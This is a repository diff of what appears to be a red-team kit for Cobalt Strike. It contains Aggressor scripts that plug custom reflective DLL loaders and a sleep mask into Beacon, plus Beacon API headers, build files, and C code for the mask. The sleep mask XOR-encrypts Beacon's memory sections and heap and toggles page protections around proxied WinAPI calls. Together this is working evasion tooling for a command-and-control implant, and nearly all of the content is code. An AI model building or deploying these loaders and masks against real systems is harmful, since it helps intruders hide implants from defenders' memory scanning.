#define DEREF( name )*(UINT_PTR *)(name)
@@ -40,6 +48,12 @@ typedef struct {
IMAGE_OPTIONAL_HEADER * OptionalHeader;
} DLLDATA;
/*
* utility functions
*/
DWORD adler32sum(unsigned char * buffer, DWORD length);
DWORD ror13hash(const char * c);
/*
* printf-style debugging.
*/
@@ -50,6 +64,7 @@ void dprintf(char * format, ...);
*/
typedef void (*PICOMAIN_FUNC)(char * arg);
PICOMAIN_FUNC PicoGetExport(char * src, char * base, int tag);
PICOMAIN_FUNC PicoEntryPoint(char * src, char * base);
int PicoCodeSize(char * src);
int PicoDataSize(char * src);
@@ -58,8 +73,8 @@ void PicoLoad(IMPORTFUNCS * funcs, char * src, char * dstCode, char * dstData);
/*
* Resolve functions by walking the export address table
*/
void * findFunctionByHash(char * src, DWORD wantedFunction);
char * findModuleByHash(DWORD moduleHash);
FARPROC findFunctionByHash(HANDLE hModule, DWORD wantedFunctionHash);
HANDLE findModuleByHash(DWORD moduleHash);
/*
* DLL parsing and loading functions
+107
View File
@@ -0,0 +1,107 @@
debug ( 7 );
import crystalpalace.spec.* from: crystalpalace.jar;
import java.util.HashMap;
sub print_info {
println ( formatDate ( "[HH:mm:ss] " ) . "\cE[Crystal Loaders]\o " . $1 );
}
sub print_error {
println ( formatDate ( "[HH:mm:ss] " ) . "\c4[Crystal Loaders]\o " . $1 );
}
# ----------------------------------
# $1 - Beacon payload file name
# $2 - Beacon payload (dll binary)
# $3 - Beacon architecture (x86/x64)
# ----------------------------------
set BEACON_RDLL_GENERATE
{
local ( '$path $spec $cap $final' );
$path = getFileProper ( script_resource ( "loader" ), "loader.spec" );
$spec = [ LinkSpec Parse: $path ];
$cap = [ Capability Parse: $2 ];
$final = [ $spec run: $cap, [ new HashMap ] ];
if ( strlen ( $final ) == 0 )
{
print_error ( "Failed to build custom loader." );
return $null;
}
print_info ( "Built custom loader." );
return $final;
}
# ----------------------------------
# $1 - Beacon payload file name
# $2 - Beacon payload (dll binary)
# $3 - Beacon architecture (x86/x64)
# $4 - Parent beacon ID
# $5 - GetModuleHandleA pointer
# $6 - GetProcAddress pointer
# ----------------------------------
set BEACON_RDLL_GENERATE_LOCAL
{
local ( '$path $spec $cap $vars $final' );
$path = getFileProper ( script_resource ( "loader" ), "smart-loader.spec" );
$spec = [ LinkSpec Parse: $path ];
$cap = [ Capability Parse: $2 ];
$vars = [ new HashMap ];
[ $vars put: "\$GMH", cast ( $5, 'b' ) ];
[ $vars put: "\$GPA", cast ( $6, 'b' ) ];
$final = [ $spec run: $2, $vars ];
if ( strlen ( $final ) == 0 )
{
print_error ( "Failed to build custom loader." );
return $null;
}
print_info ( "Built custom loader." );
return $final;
}
# ------------------------------------
# $1 Post-ex payload file name
# $2 Post-ex payload (dll binary)
# $3 Post-ex architecture (x86/x64)
# $4 parent Beacon ID
# $5 GetModuleHandle pointer
# $6 GetProcAddress pointer
# ------------------------------------
set POSTEX_RDLL_GENERATE
{
local ( '$path $spec $cap $vars $final' );
# not sure how smart inject works for cross-arch
# injection because pointers are different sizes
if ( barch ( $4 ) ne $3 ) {
print_error ( "Cannot use smart inject for cross-arch injection. Falling back to default loader." );
return $null;
}
$path = getFileProper ( script_resource ( "postex" ), "loader.spec" );
$spec = [ LinkSpec Parse: $path ];
$cap = [ Capability Parse: $2 ];
$vars = [ new HashMap ];
[ $vars put: "\$GMH", cast ( $5, 'b' ) ];
[ $vars put: "\$GPA", cast ( $6, 'b' ) ];
$final = [ $spec run: $2, $vars ];
if ( strlen ( $final ) == 0 )
{
print_error ( "Failed to build custom postex loader." );
return $null;
}
print_info ( "Built custom postex loader." );
return $final;
}
+39
View File
@@ -0,0 +1,39 @@
debug ( 7 );
import crystalpalace.spec.* from: crystalpalace.jar;
import java.util.HashMap;
sub print_info {
println ( formatDate ( "[HH:mm:ss] " ) . "\cE[Crystal Mask]\o " . $1 );
}
sub print_error {
println ( formatDate ( "[HH:mm:ss] " ) . "\c4[Crystal Mask]\o " . $1 );
}
# ----------------------------------
# $1 - Beacon type (default, pivot)
# $2 - Beacon architecture (x86/x64)
# ----------------------------------
set BEACON_SLEEP_MASK
{
local ( '$path $spec $cap $coff $final' );
$path = getFileProper ( script_resource ( "mask" ), "mask.spec" );
$spec = [ LinkSpec Parse: $path ];
$cap = [ Capability None: $2 ];
$coff = [ $spec run: $cap, [ new HashMap ] ];
$final = bof_extract ( $coff, "go" );
if ( strlen ( $final ) == 0 )
{
print_error ( "Failed to build custom sleepmask." );
return $null;
}
print_info ( "Built custom sleepmask." );
return $final;
}
+19
View File
@@ -0,0 +1,19 @@
CC=i686-w64-mingw32-gcc
CC_64=x86_64-w64-mingw32-gcc
CFLAGS=-fno-jump-tables -shared -Wall -Wno-pointer-arith
.PHONY: all x86 x64 clean
all: x86 x64
bin:
mkdir -p bin
x86: bin
$(CC) -DWIN_X86 $(CFLAGS) -c src/mask.c -o bin/mask.x86.o
x64: bin
$(CC_64) -DWIN_X64 $(CFLAGS) -c src/mask.c -o bin/mask.x64.o
clean:
rm -rf bin
Binary file not shown.
Binary file not shown.
+11
View File
@@ -0,0 +1,11 @@
x86:
load "bin/mask.x86.o"
make coff +optimize
mergelib "../libtcg.x86.zip"
export
x64:
load "bin/mask.x64.o"
make coff +optimize
mergelib "../libtcg.x64.zip"
export
+392
View File
@@ -0,0 +1,392 @@
/*
* Beacon Object Files (BOF)
* -------------------------
* A Beacon Object File is a light-weight post exploitation tool that runs
* with Beacon's inline-execute command.
*
* Additional BOF resources are available here:
* - https://github.com/Cobalt-Strike/bof_template
*
* Cobalt Strike 4.x
* ChangeLog:
* 1/25/2022: updated for 4.5
* 7/18/2023: Added BeaconInformation API for 4.9
* 7/31/2023: Added Key/Value store APIs for 4.9
* BeaconAddValue, BeaconGetValue, and BeaconRemoveValue
* 8/31/2023: Added Data store APIs for 4.9
* BeaconDataStoreGetItem, BeaconDataStoreProtectItem,
* BeaconDataStoreUnprotectItem, and BeaconDataStoreMaxEntries
* 9/01/2023: Added BeaconGetCustomUserData API for 4.9
* 3/21/2024: Updated BeaconInformation API for 4.10 to return a BOOL
* Updated the BEACON_INFO data structure to add new parameters
* 4/19/2024: Added BeaconGetSyscallInformation API for 4.10
* 4/25/2024: Added APIs to call Beacon's system call implementation
* 12/18/2024: Updated BeaconGetSyscallInformation API for 4.11 (Breaking changes)
* 2/13/2025: Updated SYSCALL_API structure with more ntAPIs for 4.11
* 3/20/2025: Updated ALLOCATED_MEMORY_SECTION structure with driploader page size for 4.12
* 4/7/2025: Updated ALLOCATED_MEMORY_REGION structure with driploader allocation granularity for 4.12
* 7/16/2025: Updated ALLOCATED_MEMORY_PURPOSE structure with PURPOSE_UDC2_MEMORY for 4.12
*/
/* data API */
typedef struct {
char * original; /* the original buffer [so we can free it] */
char * buffer; /* current pointer into our buffer */
int length; /* remaining length of data */
int size; /* total size of this buffer */
} datap;
DECLSPEC_IMPORT void BeaconDataParse(datap * parser, char * buffer, int size);
DECLSPEC_IMPORT char * BeaconDataPtr(datap * parser, int size);
DECLSPEC_IMPORT int BeaconDataInt(datap * parser);
DECLSPEC_IMPORT short BeaconDataShort(datap * parser);
DECLSPEC_IMPORT int BeaconDataLength(datap * parser);
DECLSPEC_IMPORT char * BeaconDataExtract(datap * parser, int * size);
/* format API */
typedef struct {
char * original; /* the original buffer [so we can free it] */
char * buffer; /* current pointer into our buffer */
int length; /* remaining length of data */
int size; /* total size of this buffer */
} formatp;
DECLSPEC_IMPORT void BeaconFormatAlloc(formatp * format, int maxsz);
DECLSPEC_IMPORT void BeaconFormatReset(formatp * format);
DECLSPEC_IMPORT void BeaconFormatAppend(formatp * format, const char * text, int len);
DECLSPEC_IMPORT void BeaconFormatPrintf(formatp * format, const char * fmt, ...);
DECLSPEC_IMPORT char * BeaconFormatToString(formatp * format, int * size);
DECLSPEC_IMPORT void BeaconFormatFree(formatp * format);
DECLSPEC_IMPORT void BeaconFormatInt(formatp * format, int value);
/* Output Functions */
#define CALLBACK_OUTPUT 0x0
#define CALLBACK_OUTPUT_OEM 0x1e
#define CALLBACK_OUTPUT_UTF8 0x20
#define CALLBACK_ERROR 0x0d
#define CALLBACK_CUSTOM 0x1000
#define CALLBACK_CUSTOM_LAST 0x13ff
DECLSPEC_IMPORT void BeaconOutput(int type, const char * data, int len);
DECLSPEC_IMPORT void BeaconPrintf(int type, const char * fmt, ...);
DECLSPEC_IMPORT BOOL BeaconDownload(const char * filename, const char* buffer, unsigned int length);
/* Token Functions */
DECLSPEC_IMPORT BOOL BeaconUseToken(HANDLE token);
DECLSPEC_IMPORT void BeaconRevertToken();
DECLSPEC_IMPORT BOOL BeaconIsAdmin();
/* Spawn+Inject Functions */
DECLSPEC_IMPORT void BeaconGetSpawnTo(BOOL x86, char * buffer, int length);
DECLSPEC_IMPORT void BeaconInjectProcess(HANDLE hProc, int pid, char * payload, int p_len, int p_offset, char * arg, int a_len);
DECLSPEC_IMPORT void BeaconInjectTemporaryProcess(PROCESS_INFORMATION * pInfo, char * payload, int p_len, int p_offset, char * arg, int a_len);
DECLSPEC_IMPORT BOOL BeaconSpawnTemporaryProcess(BOOL x86, BOOL ignoreToken, STARTUPINFO * si, PROCESS_INFORMATION * pInfo);
DECLSPEC_IMPORT void BeaconCleanupProcess(PROCESS_INFORMATION * pInfo);
/* Utility Functions */
DECLSPEC_IMPORT BOOL toWideChar(char * src, wchar_t * dst, int max);
/* Beacon Information */
/*
* ptr - pointer to the base address of the allocated memory.
* size - the number of bytes allocated for the ptr.
*/
typedef struct {
char * ptr;
size_t size;
} HEAP_RECORD;
#define MASK_SIZE 13
/* Information the user can set in the USER_DATA via a UDRL */
typedef enum {
PURPOSE_EMPTY,
PURPOSE_GENERIC_BUFFER,
PURPOSE_BEACON_MEMORY,
PURPOSE_SLEEPMASK_MEMORY,
PURPOSE_BOF_MEMORY,
PURPOSE_UDC2_MEMORY,
PURPOSE_USER_DEFINED_MEMORY = 1000
} ALLOCATED_MEMORY_PURPOSE;
typedef enum {
LABEL_EMPTY,
LABEL_BUFFER,
LABEL_PEHEADER,
LABEL_TEXT,
LABEL_RDATA,
LABEL_DATA,
LABEL_PDATA,
LABEL_RELOC,
LABEL_USER_DEFINED = 1000
} ALLOCATED_MEMORY_LABEL;
typedef enum {
METHOD_UNKNOWN,
METHOD_VIRTUALALLOC,
METHOD_HEAPALLOC,
METHOD_MODULESTOMP,
METHOD_NTMAPVIEW,
METHOD_USER_DEFINED = 1000,
} ALLOCATED_MEMORY_ALLOCATION_METHOD;
/**
* This structure allows the user to provide additional information
* about the allocated heap for cleanup. It is mandatory to provide
* the HeapHandle but the DestroyHeap Boolean can be used to indicate
* whether the clean up code should destroy the heap or simply free the pages.
* This is useful in situations where a loader allocates memory in the
* processes current heap.
*/
typedef struct _HEAPALLOC_INFO {
PVOID HeapHandle;
BOOL DestroyHeap;
} HEAPALLOC_INFO, *PHEAPALLOC_INFO;
typedef struct _MODULESTOMP_INFO {
HMODULE ModuleHandle;
} MODULESTOMP_INFO, *PMODULESTOMP_INFO;
typedef union _ALLOCATED_MEMORY_ADDITIONAL_CLEANUP_INFORMATION {
HEAPALLOC_INFO HeapAllocInfo;
MODULESTOMP_INFO ModuleStompInfo;
PVOID Custom;
} ALLOCATED_MEMORY_ADDITIONAL_CLEANUP_INFORMATION, *PALLOCATED_MEMORY_ADDITIONAL_CLEANUP_INFORMATION;
typedef struct _ALLOCATED_MEMORY_CLEANUP_INFORMATION {
BOOL Cleanup;
ALLOCATED_MEMORY_ALLOCATION_METHOD AllocationMethod;
ALLOCATED_MEMORY_ADDITIONAL_CLEANUP_INFORMATION AdditionalCleanupInformation;
} ALLOCATED_MEMORY_CLEANUP_INFORMATION, *PALLOCATED_MEMORY_CLEANUP_INFORMATION;
typedef struct _ALLOCATED_MEMORY_SECTION {
ALLOCATED_MEMORY_LABEL Label; // A label to simplify Sleepmask development
PVOID BaseAddress; // Pointer to virtual address of section
SIZE_T VirtualSize; // Virtual size of the section
DWORD CurrentProtect; // Current memory protection of the section
DWORD PreviousProtect; // The previous memory protection of the section (prior to masking/unmasking)
BOOL MaskSection; // A boolean to indicate whether the section should be masked
DWORD DripLoadPageSize; // The page size used when committing memory during drip-loading
} ALLOCATED_MEMORY_SECTION, *PALLOCATED_MEMORY_SECTION;
typedef struct _ALLOCATED_MEMORY_REGION {
ALLOCATED_MEMORY_PURPOSE Purpose; // A label to indicate the purpose of the allocated memory
PVOID AllocationBase; // The base address of the allocated memory block
SIZE_T RegionSize; // The size of the allocated memory block
DWORD Type; // The type of memory allocated
DWORD DripLoadAllocationGranularity; // The allocation granularity used when reserving memory for drip-loading
ALLOCATED_MEMORY_SECTION Sections[8]; // An array of section information structures
ALLOCATED_MEMORY_CLEANUP_INFORMATION CleanupInformation; // Information required to cleanup the allocation
} ALLOCATED_MEMORY_REGION, *PALLOCATED_MEMORY_REGION;
typedef struct {
ALLOCATED_MEMORY_REGION AllocatedMemoryRegions[6];
} ALLOCATED_MEMORY, *PALLOCATED_MEMORY;
/*
* version - The version of the beacon dll was added for release 4.10
* version format: 0xMMmmPP, where MM = Major, mm = Minor, and PP = Patch
* e.g. 0x040900 -> CS 4.9
* 0x041000 -> CS 4.10
*
* sleep_mask_ptr - pointer to the sleep mask base address
* sleep_mask_text_size - the sleep mask text section size
* sleep_mask_total_size - the sleep mask total memory size
*
* beacon_ptr - pointer to beacon's base address
* The stage.obfuscate flag affects this value when using CS default loader.
* true: beacon_ptr = allocated_buffer - 0x1000 (Not a valid address)
* false: beacon_ptr = allocated_buffer (A valid address)
* For a UDRL the beacon_ptr will be set to the 1st argument to DllMain
* when the 2nd argument is set to DLL_PROCESS_ATTACH.
* heap_records - list of memory addresses on the heap beacon wants to mask.
* The list is terminated by the HEAP_RECORD.ptr set to NULL.
* mask - the mask that beacon randomly generated to apply
*
* Added in version 4.10
* allocatedMemory - An ALLOCATED_MEMORY structure that can be set in the USER_DATA
* via a UDRL.
*/
typedef struct {
unsigned int version;
char * sleep_mask_ptr;
DWORD sleep_mask_text_size;
DWORD sleep_mask_total_size;
char * beacon_ptr;
HEAP_RECORD * heap_records;
char mask[MASK_SIZE];
ALLOCATED_MEMORY allocatedMemory;
} BEACON_INFO, *PBEACON_INFO;
DECLSPEC_IMPORT BOOL BeaconInformation(PBEACON_INFO info);
/* Key/Value store functions
* These functions are used to associate a key to a memory address and save
* that information into beacon. These memory addresses can then be
* retrieved in a subsequent execution of a BOF.
*
* key - the key will be converted to a hash which is used to locate the
* memory address.
*
* ptr - a memory address to save.
*
* Considerations:
* - The contents at the memory address is not masked by beacon.
* - The contents at the memory address is not released by beacon.
*
*/
DECLSPEC_IMPORT BOOL BeaconAddValue(const char * key, void * ptr);
DECLSPEC_IMPORT void * BeaconGetValue(const char * key);
DECLSPEC_IMPORT BOOL BeaconRemoveValue(const char * key);
/* Beacon Data Store functions
* These functions are used to access items in Beacon's Data Store.
* BeaconDataStoreGetItem returns NULL if the index does not exist.
*
* The contents are masked by default, and BOFs must unprotect the entry
* before accessing the data buffer. BOFs must also protect the entry
* after the data is not used anymore.
*
*/
#define DATA_STORE_TYPE_EMPTY 0
#define DATA_STORE_TYPE_GENERAL_FILE 1
typedef struct {
int type;
DWORD64 hash;
BOOL masked;
char* buffer;
size_t length;
} DATA_STORE_OBJECT, *PDATA_STORE_OBJECT;
DECLSPEC_IMPORT PDATA_STORE_OBJECT BeaconDataStoreGetItem(size_t index);
DECLSPEC_IMPORT void BeaconDataStoreProtectItem(size_t index);
DECLSPEC_IMPORT void BeaconDataStoreUnprotectItem(size_t index);
DECLSPEC_IMPORT size_t BeaconDataStoreMaxEntries();
/* Beacon User Data functions */
DECLSPEC_IMPORT char * BeaconGetCustomUserData();
/* Beacon System call */
/* Syscalls API */
typedef struct
{
PVOID fnAddr;
PVOID jmpAddr;
DWORD sysnum;
} SYSCALL_API_ENTRY, *PSYSCALL_API_ENTRY;
typedef struct
{
SYSCALL_API_ENTRY ntAllocateVirtualMemory;
SYSCALL_API_ENTRY ntProtectVirtualMemory;
SYSCALL_API_ENTRY ntFreeVirtualMemory;
SYSCALL_API_ENTRY ntGetContextThread;
SYSCALL_API_ENTRY ntSetContextThread;
SYSCALL_API_ENTRY ntResumeThread;
SYSCALL_API_ENTRY ntCreateThreadEx;
SYSCALL_API_ENTRY ntOpenProcess;
SYSCALL_API_ENTRY ntOpenThread;
SYSCALL_API_ENTRY ntClose;
SYSCALL_API_ENTRY ntCreateSection;
SYSCALL_API_ENTRY ntMapViewOfSection;
SYSCALL_API_ENTRY ntUnmapViewOfSection;
SYSCALL_API_ENTRY ntQueryVirtualMemory;
SYSCALL_API_ENTRY ntDuplicateObject;
SYSCALL_API_ENTRY ntReadVirtualMemory;
SYSCALL_API_ENTRY ntWriteVirtualMemory;
SYSCALL_API_ENTRY ntReadFile;
SYSCALL_API_ENTRY ntWriteFile;
SYSCALL_API_ENTRY ntCreateFile;
SYSCALL_API_ENTRY ntQueueApcThread;
SYSCALL_API_ENTRY ntCreateProcess;
SYSCALL_API_ENTRY ntOpenProcessToken;
SYSCALL_API_ENTRY ntTestAlert;
SYSCALL_API_ENTRY ntSuspendProcess;
SYSCALL_API_ENTRY ntResumeProcess;
SYSCALL_API_ENTRY ntQuerySystemInformation;
SYSCALL_API_ENTRY ntQueryDirectoryFile;
SYSCALL_API_ENTRY ntSetInformationProcess;
SYSCALL_API_ENTRY ntSetInformationThread;
SYSCALL_API_ENTRY ntQueryInformationProcess;
SYSCALL_API_ENTRY ntQueryInformationThread;
SYSCALL_API_ENTRY ntOpenSection;
SYSCALL_API_ENTRY ntAdjustPrivilegesToken;
SYSCALL_API_ENTRY ntDeviceIoControlFile;
SYSCALL_API_ENTRY ntWaitForMultipleObjects;
} SYSCALL_API, *PSYSCALL_API;
/* Additional Run Time Library (RTL) addresses used to support system calls.
* If they are not set then system calls that require them will fall back
* to the Standard Windows API.
*
* Required to support the following system calls:
* ntCreateFile
*/
typedef struct
{
PVOID rtlDosPathNameToNtPathNameUWithStatusAddr;
PVOID rtlFreeHeapAddr;
PVOID rtlGetProcessHeapAddr;
} RTL_API, *PRTL_API;
/* Updated in version 4.11 to use the entire structure instead of pointers to the structure.
* This allows for retrieving a copy of the information which would be under the BOF's
* control instead of a reference pointer which may be obfuscated when beacon is sleeping.
*/
typedef struct
{
SYSCALL_API syscalls;
RTL_API rtls;
} BEACON_SYSCALLS, *PBEACON_SYSCALLS;
/* Updated in version 4.11 to include the size of the info pointer, which equals sizeof(BEACON_SYSCALLS) */
DECLSPEC_IMPORT BOOL BeaconGetSyscallInformation(PBEACON_SYSCALLS info, SIZE_T infoSize, BOOL resolveIfNotInitialized);
/* Beacon System call functions which will use the current system call method */
DECLSPEC_IMPORT LPVOID BeaconVirtualAlloc(LPVOID lpAddress, SIZE_T dwSize, DWORD flAllocationType, DWORD flProtect);
DECLSPEC_IMPORT LPVOID BeaconVirtualAllocEx(HANDLE processHandle, LPVOID lpAddress, SIZE_T dwSize, DWORD flAllocationType, DWORD flProtect);
DECLSPEC_IMPORT BOOL BeaconVirtualProtect(LPVOID lpAddress, SIZE_T dwSize, DWORD flNewProtect, PDWORD lpflOldProtect);
DECLSPEC_IMPORT BOOL BeaconVirtualProtectEx(HANDLE processHandle, LPVOID lpAddress, SIZE_T dwSize, DWORD flNewProtect, PDWORD lpflOldProtect);
DECLSPEC_IMPORT BOOL BeaconVirtualFree(LPVOID lpAddress, SIZE_T dwSize, DWORD dwFreeType);
DECLSPEC_IMPORT BOOL BeaconGetThreadContext(HANDLE threadHandle, PCONTEXT threadContext);
DECLSPEC_IMPORT BOOL BeaconSetThreadContext(HANDLE threadHandle, PCONTEXT threadContext);
DECLSPEC_IMPORT DWORD BeaconResumeThread(HANDLE threadHandle);
DECLSPEC_IMPORT HANDLE BeaconOpenProcess(DWORD desiredAccess, BOOL inheritHandle, DWORD processId);
DECLSPEC_IMPORT HANDLE BeaconOpenThread(DWORD desiredAccess, BOOL inheritHandle, DWORD threadId);
DECLSPEC_IMPORT BOOL BeaconCloseHandle(HANDLE object);
DECLSPEC_IMPORT BOOL BeaconUnmapViewOfFile(LPCVOID baseAddress);
DECLSPEC_IMPORT SIZE_T BeaconVirtualQuery(LPCVOID address, PMEMORY_BASIC_INFORMATION buffer, SIZE_T length);
DECLSPEC_IMPORT BOOL BeaconDuplicateHandle(HANDLE hSourceProcessHandle, HANDLE hSourceHandle, HANDLE hTargetProcessHandle, LPHANDLE lpTargetHandle, DWORD dwDesiredAccess, BOOL bInheritHandle, DWORD dwOptions);
DECLSPEC_IMPORT BOOL BeaconReadProcessMemory(HANDLE hProcess, LPCVOID lpBaseAddress, LPVOID lpBuffer, SIZE_T nSize, SIZE_T *lpNumberOfBytesRead);
DECLSPEC_IMPORT BOOL BeaconWriteProcessMemory(HANDLE hProcess, LPVOID lpBaseAddress, LPCVOID lpBuffer, SIZE_T nSize, SIZE_T *lpNumberOfBytesWritten);
/* Beacon Gate APIs */
DECLSPEC_IMPORT VOID BeaconDisableBeaconGate();
DECLSPEC_IMPORT VOID BeaconEnableBeaconGate();
DECLSPEC_IMPORT VOID BeaconDisableBeaconGateMasking();
DECLSPEC_IMPORT VOID BeaconEnableBeaconGateMasking();
/* Beacon User Data
*
* version format: 0xMMmmPP, where MM = Major, mm = Minor, and PP = Patch
* e.g. 0x040900 -> CS 4.9
* 0x041000 -> CS 4.10
*/
#define DLL_BEACON_USER_DATA 0x0d
#define BEACON_USER_DATA_CUSTOM_SIZE 32
typedef struct
{
unsigned int version;
PSYSCALL_API syscalls;
char custom[BEACON_USER_DATA_CUSTOM_SIZE];
PRTL_API rtls;
PALLOCATED_MEMORY allocatedMemory;
} USER_DATA, * PUSER_DATA;
+68
View File
@@ -0,0 +1,68 @@
/* Beacon gate defines. */
#define MAX_BEACON_GATE_ARGUMENTS 10
#define beaconGate(i) ((BEACON_GATE_##i)function_call->functionPtr)
#define arg(i) (ULONG_PTR)function_call->args[i]
/* Enum to specify what WinAPI is being called. */
typedef enum _WinApi {
INTERNETOPENA,
INTERNETCONNECTA,
VIRTUALALLOC,
VIRTUALALLOCEX,
VIRTUALPROTECT,
VIRTUALPROTECTEX,
VIRTUALFREE,
GETTHREADCONTEXT,
SETTHREADCONTEXT,
RESUMETHREAD,
CREATETHREAD,
CREATEREMOTETHREAD,
OPENPROCESS,
OPENTHREAD,
CLOSEHANDLE,
CREATEFILEMAPPING,
MAPVIEWOFFILE,
UNMAPVIEWOFFILE,
VIRTUALQUERY,
DUPLICATEHANDLE,
READPROCESSMEMORY,
WRITEPROCESSMEMORY,
EXITTHREAD,
VIRTUALFREEEX,
VIRTUALQUERYEX,
WAITFORSINGLEOBJECT,
SLEEP
} WinApi;
/**
* FUNCTION_CALL struct which encapsulates atomic function call.
*
* functionPtr - target function to call
* function - Enum representing target WinApi
* numOfArgs - number of arguments
* args - array of ULONG_PTRs containing the passed arguments (e.g. rcx, rdx, ...)
* bMask - BOOL indicating whether Beacon should be masked during the call
* ULONG_PTR - retValue of the atomic function call
*/
typedef struct {
PVOID functionPtr;
WinApi function;
int numOfArgs;
ULONG_PTR args[MAX_BEACON_GATE_ARGUMENTS];
BOOL bMask;
ULONG_PTR retValue;
} FUNCTION_CALL, * PFUNCTION_CALL;
/* Currently support max 10 arguments. */
/* NB For x86 we only support std call convention as this is what Windows uses for most Win32 APIs. */
typedef ULONG_PTR(__stdcall* BEACON_GATE_00)(VOID);
typedef ULONG_PTR(__stdcall* BEACON_GATE_01)(ULONG_PTR);
typedef ULONG_PTR(__stdcall* BEACON_GATE_02)(ULONG_PTR, ULONG_PTR);
typedef ULONG_PTR(__stdcall* BEACON_GATE_03)(ULONG_PTR, ULONG_PTR, ULONG_PTR);
typedef ULONG_PTR(__stdcall* BEACON_GATE_04)(ULONG_PTR, ULONG_PTR, ULONG_PTR, ULONG_PTR);
typedef ULONG_PTR(__stdcall* BEACON_GATE_05)(ULONG_PTR, ULONG_PTR, ULONG_PTR, ULONG_PTR, ULONG_PTR);
typedef ULONG_PTR(__stdcall* BEACON_GATE_06)(ULONG_PTR, ULONG_PTR, ULONG_PTR, ULONG_PTR, ULONG_PTR, ULONG_PTR);
typedef ULONG_PTR(__stdcall* BEACON_GATE_07)(ULONG_PTR, ULONG_PTR, ULONG_PTR, ULONG_PTR, ULONG_PTR, ULONG_PTR, ULONG_PTR);
typedef ULONG_PTR(__stdcall* BEACON_GATE_08)(ULONG_PTR, ULONG_PTR, ULONG_PTR, ULONG_PTR, ULONG_PTR, ULONG_PTR, ULONG_PTR, ULONG_PTR);
typedef ULONG_PTR(__stdcall* BEACON_GATE_09)(ULONG_PTR, ULONG_PTR, ULONG_PTR, ULONG_PTR, ULONG_PTR, ULONG_PTR, ULONG_PTR, ULONG_PTR, ULONG_PTR);
typedef ULONG_PTR(__stdcall* BEACON_GATE_10)(ULONG_PTR, ULONG_PTR, ULONG_PTR, ULONG_PTR, ULONG_PTR, ULONG_PTR, ULONG_PTR, ULONG_PTR, ULONG_PTR, ULONG_PTR);
+175
View File
@@ -0,0 +1,175 @@
#include <windows.h>
#include "beacon.h"
#include "sleepmask.h"
#include "beacon_gate.h"
#include "tcg.h"
DECLSPEC_IMPORT BOOL WINAPI KERNEL32$VirtualProtect ( LPVOID, SIZE_T, DWORD, PDWORD );
void gate_wrapper ( PFUNCTION_CALL function_call )
{
ULONG_PTR result = 0;
switch ( function_call->numOfArgs )
{
case 0:
result = beaconGate ( 00 ) ( );
break;
case 1:
result = beaconGate ( 01 ) ( arg ( 0 ) );
break;
case 2:
result = beaconGate ( 02 ) ( arg ( 0 ), arg ( 1 ) );
break;
case 3:
result = beaconGate ( 03 ) ( arg ( 0 ), arg ( 1 ), arg ( 2 ) );
break;
case 4:
result = beaconGate ( 04 ) ( arg ( 0 ), arg ( 1 ), arg ( 2 ), arg ( 3 ) );
break;
case 5:
result = beaconGate ( 05 ) ( arg ( 0 ), arg ( 1 ), arg ( 2 ), arg ( 3 ), arg ( 4 ) );
break;
case 6:
result = beaconGate ( 06 ) ( arg ( 0 ), arg ( 1 ), arg ( 2 ), arg ( 3 ), arg ( 4 ), arg ( 5 ) );
break;
case 7:
result = beaconGate ( 07 ) ( arg ( 0 ), arg ( 1 ), arg ( 2 ), arg ( 3 ), arg ( 4 ), arg ( 5 ), arg ( 6 ) );
break;
case 8:
result = beaconGate ( 08 ) ( arg ( 0 ), arg ( 1 ), arg ( 2 ), arg ( 3 ), arg ( 4 ), arg ( 5 ), arg ( 6 ), arg ( 7 ) );
break;
case 9:
result = beaconGate ( 09 ) ( arg ( 0 ), arg ( 1 ), arg ( 2 ), arg ( 3 ), arg ( 4 ), arg ( 5 ), arg ( 6 ), arg ( 7 ), arg ( 8 ) );
break;
case 10:
result = beaconGate ( 10 ) ( arg ( 0 ), arg ( 1 ), arg ( 2 ), arg ( 3 ), arg ( 4 ), arg ( 5 ), arg ( 6 ), arg ( 7 ), arg ( 8 ), arg ( 9 ) );
break;
default:
break;
}
function_call->retValue = result;
}
void xor ( char * buffer, size_t buffer_len, char * key, size_t key_len )
{
for ( size_t i = 0; i < buffer_len; i++ )
{
buffer [ i ] ^= key [ i % key_len ];
}
}
BOOL can_write ( DWORD protection )
{
switch ( protection )
{
case PAGE_EXECUTE_READWRITE:
case PAGE_EXECUTE_WRITECOPY:
case PAGE_READWRITE:
case PAGE_WRITECOPY:
return TRUE;
default:
return FALSE;
}
}
void mask_section ( PALLOCATED_MEMORY_SECTION section, char * key, BOOL mask )
{
DWORD old_protect = 0;
if ( mask && ! can_write ( section->CurrentProtect ) )
{
if ( KERNEL32$VirtualProtect ( section->BaseAddress, section->VirtualSize, PAGE_READWRITE, &old_protect ) )
{
section->CurrentProtect = PAGE_READWRITE;
section->PreviousProtect = old_protect;
}
}
if ( can_write ( section->CurrentProtect ) ) {
xor ( section->BaseAddress, section->VirtualSize, key, MASK_SIZE );
}
if ( ! mask && section->CurrentProtect != section->PreviousProtect )
{
if ( KERNEL32$VirtualProtect ( section->BaseAddress, section->VirtualSize, section->PreviousProtect, &old_protect ) )
{
section->CurrentProtect = section->PreviousProtect;
section->PreviousProtect = old_protect;
}
}
}
void mask_region ( ALLOCATED_MEMORY_REGION * region, char * key, BOOL mask )
{
int section_count = sizeof ( region->Sections ) / sizeof ( ALLOCATED_MEMORY_SECTION );
for ( int i = 0; i < section_count; i++ )
{
if ( region->Sections[i].BaseAddress == NULL || region->Sections[i].VirtualSize == 0 ) {
continue;
}
if ( region->Sections[i].MaskSection ) {
mask_section ( &region->Sections[i], key, mask );
}
}
}
void mask_beacon ( PBEACON_INFO beacon_info, BOOL mask )
{
int region_count = sizeof ( beacon_info->allocatedMemory.AllocatedMemoryRegions ) / sizeof ( ALLOCATED_MEMORY_REGION );
for ( size_t i = 0; i < region_count; i++ )
{
if ( beacon_info->allocatedMemory.AllocatedMemoryRegions[i].Purpose == PURPOSE_BEACON_MEMORY )
{
mask_region ( &beacon_info->allocatedMemory.AllocatedMemoryRegions[i], beacon_info->mask, mask );
break;
}
}
}
void mask_heap ( PBEACON_INFO beacon_info )
{
int count = 0;
do
{
xor ( beacon_info->heap_records[count].ptr, beacon_info->heap_records[count].size, beacon_info->mask, MASK_SIZE );
count++;
} while ( beacon_info->heap_records[count].ptr != NULL );
}
void mask_memory ( PBEACON_INFO beacon_info, BOOL mask )
{
mask_beacon ( beacon_info, mask );
mask_heap ( beacon_info );
}
void go ( PBEACON_INFO beacon_info, PFUNCTION_CALL function_call )
{
if ( function_call->bMask ) {
mask_memory ( beacon_info, TRUE );
}
gate_wrapper ( function_call );
if ( function_call->bMask ) {
mask_memory ( beacon_info, FALSE );
}
}
+42
View File
